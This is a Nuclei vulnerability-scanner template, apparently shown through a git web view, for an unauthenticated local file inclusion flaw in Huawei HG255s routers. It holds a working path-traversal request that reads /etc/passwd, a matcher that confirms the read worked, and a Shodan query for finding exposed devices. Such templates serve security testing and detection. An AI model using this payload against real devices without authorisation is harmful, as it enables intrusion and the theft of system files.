nuclei-templates/vulnerabilities/huawei/huawei-hg255s-lfi.yaml

35 lines
936 B
YAML
Raw Normal View History

2022-03-19 02:05:04 +00:00
id: huawei-hg255s-lfi
info:
name: Huawei HG255s - Local File Inclusion
2022-03-19 02:05:04 +00:00
author: 0x_Akoko
severity: high
description: Huawei HG255s is vulnerable to local file inclusion due to insufficient validation of the received HTTP requests. A remote attacker may access the local files on the device without authentication.
2022-03-19 02:05:04 +00:00
reference:
- https://cxsecurity.com/issue/WLB-2017090053
- https://www.youtube.com/watch?v=n02toTFkLOU
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cwe-id: CWE-22
metadata:
shodan-query: http.html:"HG532e"
tags: huawei,lfi,router
2022-03-19 02:05:04 +00:00
requests:
- method: GET
path:
- "{{BaseURL}}/css/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:[x*]:0:0"
- type: status
status:
- 200
# Enhanced by mp on 2022/07/22